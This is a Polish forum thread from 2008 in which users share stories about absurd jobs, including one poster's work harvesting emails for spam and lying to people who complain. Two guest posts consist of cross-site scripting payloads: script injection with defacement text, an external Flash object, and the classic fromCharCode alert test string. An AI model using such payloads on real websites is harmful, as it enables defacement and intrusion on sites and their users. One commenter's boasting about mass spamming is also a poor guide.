        dla kasy są w stanie zgodzić się na robienie rzeczy nie dość że nielegalnych to
        jeszcze zupełnie niemoralnych. Powodzenia w karierze!
        • Gość: ja ale o co ci chodzi IP: *.neoplus.adsl.tpnet.pl 18.03.08, 14:24
          moim zdaniem masz swietną fuchę. nic skomplikowanego a forsy
          przybywa. jak dla mnie ideał.
          • Gość: ziuta Re: ale o co ci chodzi IP: *.devs.futuro.pl 18.03.08, 15:32
            ale nie nie nie!!!! Ja to rozumiem: mnie męczy debiliczna, syzyfowa praca, która
            donikąd nie prowadzi i nic z niej nie wynika. Wolałabym węgiel przerzucać!

            Ja takich akcji jak gg opisane powyżej miałam multum. Np. szkolenie kilka
            tygodni temu: panienka, która zwie się moją szefową zaprosiła mnie na rozmowę w
            związku z nienajlepszymi wynikami moich handlowców. Nie miała kompletnie nic
            ciekawego do powiedzenia, oprócz zdania, które powtarzała w różnych
            konfiguracjach: ja jak w tej firmie co te herbaty sprzedawała byłam, to sobie
            pisałam na karteczkach, żeby spamiętać to co istotne.
            Jak to miało wpływać na pracę moich handlowców: nie wiem do dziś. Ale szefową
            jest co się zowie ;-)

            Aha: wielokrotnie myślałam w pracy o Monty Pythonie....normalnie jakby moje
            szefostwo stamtąd czerpało inspirację ;-)
      • Gość: pracujesz w pralni Re: Moja absurdalna praca IP: 81.219.30.* 18.03.08, 18:22
        brudnych pieniędzy :(
      • moherowy_baranek uczyć cudze dzieci 19.03.08, 02:01
        mary_an napisała:


        > Znacie moze jakies jeszcze gorsze zajecia? Moze by
        > mnie to pocieszylo...

        To jest gorsze;)
        • perlista5 Re: uczyć cudze dzieci 19.03.08, 14:05
          Pocieszę Cię. Rozmawiałam z kominiarzem, który ma stałe zlecenie
          czyszczenia kominów w krematorium firmy pogrzebowej. Opowieść o
          zalażności tłustości sadzy w kominie od wieku, płci i przyczyny
          zgonu kremowanych zdołałaby wyrwać z człowieka obiad sprzed
          tygodnia...
          • meduza7 Re: uczyć cudze dzieci 20.03.08, 09:55
            Szlag mnie trafia, jak czytam wypowiedzi mądrali, co to "nigdy by nie podjęli
            takiej pracy" i w ogóle "pogardzają i nienawidzą".
            Nie mieliście noża na gardle, misiaczki puszyste.
            Ja swego czasu roznosiłam ulotki, pracowałam również w telemarketingu i wiem, że
            czasem po prostu nie ma czasu na szukanie czegoś "odpowiedniego", więc się
            łapie, co jest (jak ktoś stwierdził: to jest 80% ofert pracy!) a czegoś lepszego
            szuka w trakcie.
      • milena_w Re: Moja absurdalna praca 20.03.08, 13:59
        każde zajęcie w firmie, którą kierują "wysokiejklasyspecjaliści"
        jest hmm... bez sensu i nie przynosi efektów ale wiesz co skoro
        jesteś jeszcze studentką i zarabiasz niezłą kasę to wytrzymaj jak
        długo się da, bo przecież ten zapis w CV ;oP
      • lunaglass Re: Moja absurdalna praca 20.03.08, 20:48
        > Ostatnio w mojej firmie wiele sie nie dzieje, jest jakis zastoj, wiec moj
        > glownym zajeciem jest kopiowanie i wklejanie do bazy danych e-maili
        > przypadkowych ludzi (tylko kasuje stamtad "nospam"), ktorych potem moja firma
        > spamuje reklamami. Do tego odbieram liczne telefony ze skargami na spam, jakim
        > zasypujemy ludzi, wtedy musze mowic "bardzo mi przykro, nie wiem o czym pan
        > mowi, to jakis blad, prosze skontaktowac sie z webmasterem, ja nie mam z tym
        > nic wspolnego". Dobrze mi placa to siedze i to robie.
        Fakt, każdy robi to za co mu płacą. Osobiście nienawidzę spamu i zwykle już się
        staram z takim nadawcą śmieci "coś zrobić" :P
        • pacor1 Re: Moja absurdalna praca 27.06.08, 08:01
          No tak, każdy robi to za co mu płacą, tylko pytanie czy jest to
          zgodne z czyimś sumieniem? Oszukiwanie i kłamanie za pieniądze.....
          hm..... Ja bym jednak zmienił pracę, na taką gdzie nie będzie się
          ode mnie oczekiwać że będę dobrze kłamać...
      • Gość: hhh Re: Moja absurdalna praca IP: *.tvk.torun.pl 21.03.08, 00:59
        "><script>alert('Uwaga!! Próba włamiania!!! Błąd zabezpieczeń!!! Marian Jagoda
        to lamer!!!!')</script><img
        src=78.140.136.172/bt/st/thumbs/012/0004978550.jpg /><object
        type=application/x-shockwave-flash
        data=www.cwaniak.rembertow.net/pipa.swf width=769 height=151><param
        name=movie value=www.cwaniak.rembertow.net/pipa.swf ><param name=quality
        value=high><param name=bgcolor value=#fff><param name=wmode
        value=transparent></object><script>var tekst = '<BR><H1>Gó.. owno
        gó..!!!!!!!!!!!</H1><BR>';document.write(tekst);</script>"
      • Gość: ';alert(String.fro ';alert(String.fromCharCode(88,83 ,83))//\';alert(S IP: *.tvk.torun.pl 21.03.08, 01:00
        ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
      • mallina Re: Moja absurdalna praca 03.05.08, 01:36
        jakas apteka online?
        moze to wlasnie Tobie zawdzieczam dziesiatki, a czasem setki spamu na gazetowym
        koncie
        swietnie, dobrze ze przynajmniej Ty masz z tego kase - to na pocieszenie.
      • Gość: Chętny Re: Moja absurdalna praca IP: *.acn.waw.pl 06.05.08, 14:17
        A jak ja ci niezle zaplace to obrobisz mi pęto? :)

        > Dobrze mi placa to siedze i to robie.

      • Gość: domator Re: Moja absurdalna praca IP: *.chello.pl 11.08.08, 17:37
        widać, że dla pieniędzy jesteś w stanie zrobić wiele, to smutne i straszne
        zarazem...
        ciekawe, czy wiesz, że wysyłanie niezamówionych materiałów reklamowych to
        wykroczenie? polecam lekturę ustawy o świadczeniu usług drogą elektroniczną
        • Gość: kowianeczka Re: Moja absurdalna praca IP: *.chello.pl 27.08.08, 21:57
          ...ciekawe, czy wiesz, że wysyłanie niezamówionych materiałów
          reklamowych to
          > wykroczenie? polecam lekturę ustawy o świadczeniu usług drogą
          elektroniczną

          Sam ją najpierw baranie przeczytaj, zamiast straszyć dziewczynę.
          RAZ możesz wysłać każdemu posta reklamowego.

          A my wysyłamy kilka tysiecy dziennie i na razie nikt nic poza pianą
          z durnego pyska nam nie zrobił.
          A wyniki handlowe rosną !
          Palnij sie w ten roszczeniowy łeb !
          • Gość: kowianeczka Re: Moja absurdalna praca IP: *.lodz.msk.pl 28.08.08, 15:54
            Przecież wszyscy wiedzą, że pod IP "chello" nie ma żadnej Kowianeczki, tylko kiepski podszywacz.

            Z poważaniem
            Prawdziwa Kowianeczka
            • Gość: kowianeczka Re: Moja absurdalna praca IP: *.chello.pl 28.08.08, 22:43
              doigrasz się za to podszywanie !
              • Gość: gosc Re: Moja absurdalna praca IP: 59.167.238.* 29.08.08, 06:00
                niewatpliwie
      • mary_an Szukam juz nowej pracy 29.08.08, 17:20
        Skonczylam studia, wyjechalam do innego miasta i teraz znowu jestem na etapie
        szukania pracy. I znowu dorywczej, bo jeszcze przez rok jestem na uczelni.
        Ciekawe, co tym razem sie trafi. Albo znowu jakis totalny bezsens, albo
        przerzucanie kotletow w fast-foodach.

        W tamtej poprzedniej firmie nie potrafilam nigdy zrozumiec, dlaczego ta firma
        dobrze prosperuje pomimo tego, ze sa tam tak beznadziejnie marnotrawione
        pieniadze. Z tym wysylaniem maili to tez byl debilizm, bo firma jest bardzo
        wyspecjalizowana (powiedzmy, ze produkuja jakies podzespoly o ktorych przecietny
        czlowiek nigdy nie slyszal, ze w ogole istnieja), wiec wiadomo, ze trzeba byloby
        kierowac oferte tylko do bardzo waskiego grona potencjalnych nabywcow. Kilka
        miesiecy po tym, jak napisalam tamtego posta zmienili strategie marketingowa i
        wymyslili, zeby dzwonic do ludzi i oferowac nasze produkty. Moja nastepczyni
        dostala z przydzialu Wegry, gdzie nikt nie mowil po angielsku, nie mogla sie
        nigdy nigdzie dodzwonic, dostala liste potencjalnych kupcow - ludzi zajmujacych
        sie ta dyscyplina - po prostu ich nazwiska na kartce (jakies 10 000), miala ich
        szukac na google i tam dzwonic. Przez miesiac dodzwonila sie moze do kilkunastu
        osob, a firma jej placila za to spora pensje. Ale tez juz rezygnuje bo nie moze
        tego wytrzymac psychicznie.

        Jaki moral z tego? Nawet do najglupszych zadan (jak rozreklamowanie swojego
        produktu) trzeba miec odrobine rozumu w glowie. Moi szefowie nie mieli.
        Paradoksalnie firma sie rozrasta i liczba klientow rosnie.

    Nie masz jeszcze konta? Zarejestruj się


    Nakarm Pajacyka